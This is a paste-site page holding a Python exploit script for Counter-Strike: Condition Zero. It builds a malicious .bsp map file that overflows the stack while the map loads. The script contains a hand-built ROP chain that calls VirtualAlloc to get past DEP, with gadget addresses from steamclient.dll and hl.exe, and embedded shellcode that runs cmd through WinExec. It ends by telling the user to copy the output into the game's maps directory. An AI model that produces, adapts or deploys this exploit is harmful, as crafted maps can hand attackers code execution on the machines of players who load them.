Counter Strike-Condition Zero BSP map exploit

From N/A, 4 Months ago, written in Python, viewed 104 times.
URL https://secploit.com/view/0bb050cb Embed
Download Paste or View Raw
  1. #!/usr/bin/env python
  2. # Counter Strike: Condition Zero BSP map exploit
  3. #  By @Digital_Cold Jun 11, 2017
  4. from binascii import hexlify, unhexlify
  5. from struct import pack, unpack
  6. import math
  7. import mmap
  8. import logging
  9.  
  10. fmt = "[+] %(message)s"
  11.  
  12. logging.basicConfig(level=logging.INFO, format=fmt)
  13. l = logging.getLogger("exploit")
  14.  
  15. # Specific to the file
  16. INDEX_BUFFER_OFF = 0x92ee0          # ARRAY[int]
  17. VERTEX_BUFFER_INDEXES_OFF = 0xA9174 # ARRAY[unsigned short]
  18. VERTEX_DATA_OFF = 0x37f7c           # ARRAY[VEC3], VEC3[float, float, float]
  19. NUM_EDGES_OFF = 0x70f94             # The length that was fuzzed to cause the crash
  20.  
  21. # No longer used as could not find a gadget to 'pop, pop, pop esp, ret'
  22. # SEH_OVERWRITE_OFF = 0x4126C
  23.  
  24. # Initial offset into the index buffer where the function to exploit resides
  25. INITIAL_OFFSET = 0xb130 # this is multiplied by 4 for data type size already
  26.  
  27. # INDEX_BUFFER
  28. # 0: 20
  29. # 1: 10
  30. # 2: 2 --> Vertex Buffer Indexes
  31.  
  32. # VERTEX BUFFER INDEXES
  33. # 0: 1
  34. # 1: 2
  35. # 2: 4 --> Vertex Data
  36.  
  37. # VERTEX DATA
  38. # 0: 1.23, 23423.0, 3453.3
  39. # 1: 1.23, -9.0, 3453.3
  40. # 2: 1.0, 1.0, 1.0
  41. # 3: 1.0, 1.0, 1.0
  42. # 4: 0.0, 1.0, 0.0
  43.  
  44. # Example:
  45. # a = INDEX_BUFFER[2] ; a = 2
  46. # b = VERTEX_BUFFER[a] ; b = 4
  47. # vec = VERTEX_DATA[b] ; vec = 0.0, 1.0, 0.0
  48.  
  49. def dw(x):
  50.   return pack("I", x)
  51.  
  52. def main():
  53.   target_file = "eip-minimized.bsp"
  54.   output_file = "exploit-gen.bsp"
  55.  
  56.   print "GoldSource .BSP file corruptor"
  57.   print "  by @Digital_Cold"
  58.   print
  59.  
  60.   l.info("Corrupting target file %s" % target_file)
  61.  
  62.   # Read in and memory map target file
  63.   fp = open(target_file, 'rb')
  64.   mmfile = mmap.mmap(fp.fileno(), 0, access = mmap.ACCESS_READ | mmap.ACCESS_COPY)
  65.   fp.close()
  66.  
  67.   VEC3_COUNT = 63
  68.   # then come Saved EBP and return address
  69.  
  70.   start_idx = INDEX_BUFFER_OFF + INITIAL_OFFSET
  71.   second_idx = VERTEX_BUFFER_INDEXES_OFF
  72.   vertex_data_start = VERTEX_DATA_OFF + 12*0x1000 # arbitrary offset, lower causes faults
  73.  
  74.   l.info("Writing to index buffer offset x...", start_idx)
  75.   l.info("Vertex buffer indexes start x", second_idx)
  76.   l.info("Vertex data at x", vertex_data_start)
  77.  
  78.   data_buffer = []
  79.  
  80.   for i in range(VEC3_COUNT):
  81.     for j in range(3):
  82.       data_buffer.append(str(chr(0x41+i)*4)) # easy to see pattern in memory
  83.  
  84.   data_buffer.append("\x00\x00\x00\x00") # dont care
  85.   data_buffer.append("\x00\x00\x00\x00") # unk1
  86.   data_buffer.append("\x00\x00\x00\x00") # unk2
  87.  
  88.   data_buffer.append("\x00\x00\x00\x00") # numVerts (needs to be zero to skip tail call)
  89.   data_buffer.append("\x00\x00\x00\x00") # EBP
  90.   data_buffer.append(dw(0x01407316))     # Saved Ret --> POP EBP; RET [hl.exe]
  91.  
  92.   # XXX: bug in mona. This is a ptr to VirtualProtectEx!!
  93.   #   0x387e01ec,  # ptr to &VirtualProtect() [IAT steamclient.dll]
  94.  
  95.   """
  96.   Register setup for VirtualAlloc() :
  97.   --------------------------------------------
  98.    EAX = NOP (0x90909090)
  99.    ECX = flProtect (0x40)
  100.    EDX = flAllocationType (0x1000)
  101.    EBX = dwSize
  102.    ESP = lpAddress (automatic)
  103.    EBP = ReturnTo (ptr to jmp esp)
  104.    ESI = ptr to VirtualAlloc()
  105.    EDI = ROP NOP (RETN)
  106.    --- alternative chain ---
  107.    EAX = ptr to &VirtualAlloc()
  108.    ECX = flProtect (0x40)
  109.    EDX = flAllocationType (0x1000)
  110.    EBX = dwSize
  111.    ESP = lpAddress (automatic)
  112.    EBP = POP (skip 4 bytes)
  113.    ESI = ptr to JMP [EAX]
  114.    EDI = ROP NOP (RETN)
  115.    + place ptr to "jmp esp" on stack, below PUSHAD
  116.   --------------------------------------------
  117.  """
  118.  
  119.   # START ROP CHAIN
  120.   # DEP disable ROP chain
  121.   # rop chain generated with mona.py - www.corelan.be
  122.   #
  123.   # useful for finding INT3 gadget - !mona find -s ccc3 -type bin -m hl,steamclient,filesystem_stdio
  124.   rop_gadgets = [
  125.     #0x3808A308,  # INT3 # RETN [steamclient.dll]
  126.     0x38420ade,  # POP EDX # RETN [steamclient.dll]
  127.     0x387e01e8,  # ptr to &VirtualAlloc() [IAT steamclient.dll]
  128.     0x381236c5,  # MOV ESI,DWORD PTR DS:[EDX] # ADD DH,DH # RETN [steamclient.dll]
  129.     0x381ebdc1,  # POP EBP # RETN [steamclient.dll]
  130.     0x381f98cd,  # & jmp esp [steamclient.dll]
  131.     0x387885ac,  # POP EBX # RETN [steamclient.dll]
  132.     0x00000001,  # 0x00000001-> ebx
  133.     0x384251c9,  # POP EDX # RETN [steamclient.dll]
  134.     0x00001000,  # 0x00001000-> edx
  135.     0x387cd449,  # POP ECX # RETN [steamclient.dll]
  136.     0x00000040,  # 0x00000040-> ecx
  137.     0x386c57fe,  # POP EDI # RETN [steamclient.dll]
  138.     0x385ca688,  # RETN (ROP NOP) [steamclient.dll]
  139.     0x0140b00e,  # POP EAX # RETN [hl.exe]
  140.     0x90909090,  # nop
  141.     0x385c0d3e,  # PUSHAD # RETN [steamclient.dll]
  142.   ]
  143.  
  144.  
  145.   # Can be replaced with ANY shellcode desired...
  146.   # http://shell-storm.org/shellcode/files/shellcode-662.php
  147.   shellcode = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" + \
  148.     "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" + \
  149.     "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \
  150.     "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \
  151.     "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \
  152.     "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \
  153.     "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \
  154.     "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \
  155.     "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \
  156.     "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \
  157.     "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \
  158.     "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \
  159.     "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \
  160.     "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \
  161.     "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \
  162.     "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \
  163.     "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \
  164.     "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \
  165.     "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \
  166.     "\x24\x20\x57\xFF\xD0"
  167.  
  168.   shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash)
  169.   shellcode += "\xeb\xfe"
  170.   shellcode += "\xeb\xfe"
  171.   shellcode += "\xeb\xfe"
  172.   shellcode += "\xeb\xfe"
  173.  
  174.   shellcode_dwords = int(math.ceil(len(shellcode)/4.0))
  175.   extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0))
  176.  
  177.   # Loop count (needs to be the exact amount of ROP we want to write
  178.   data_buffer.append(dw(extra_dwords))
  179.  
  180.   for addr in rop_gadgets:
  181.     data_buffer.append(dw(addr))
  182.  
  183.   for b in range(shellcode_dwords):
  184.     data = ""
  185.  
  186.     for byte in range(4):
  187.       idx = byte + b*4
  188.  
  189.       # pad to nearest DWORD with INT3
  190.       if idx >= len(shellcode):
  191.         data += "\xcc"
  192.       else:
  193.         data += shellcode[idx]
  194.  
  195.     data_buffer.append(data)
  196.  
  197.   second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes
  198.  
  199.   # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before
  200.   # we can exploit the function
  201.  
  202.   # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW
  203.   #mmfile[NUM_EDGES_OFF] = pack("B", 0x41)
  204.  
  205.   for i in range(int(math.ceil(len(data_buffer)/3.0))):
  206.     mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i)
  207.     mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i)
  208.  
  209.     second_idx += 2 # required because the game loads every-other word
  210.  
  211.     # This data will now be on the stack
  212.     for j in range(3):
  213.       sub_idx = j*4 + i*0xc
  214.       data_idx = i*3 + j
  215.       towrite = ""
  216.  
  217.       if data_idx >= len(data_buffer):
  218.         towrite = "\x00"*4
  219.       else:
  220.         towrite = data_buffer[i*3 + j]
  221.  
  222.       mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite
  223.       #l.debug("Write[x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx))
  224.  
  225.   # write out the corrupted file
  226.   outfile = open(output_file, "wb")
  227.   outfile.write(mmfile)
  228.   outfile.close()
  229.  
  230.   l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file))
  231.   l.info("Copy to game maps/ directory!")
  232.  
  233. if __name__ == "__main__":
  234.   main()

Reply to "Counter Strike-Condition Zero BSP map exploit"

Here you can reply to the paste above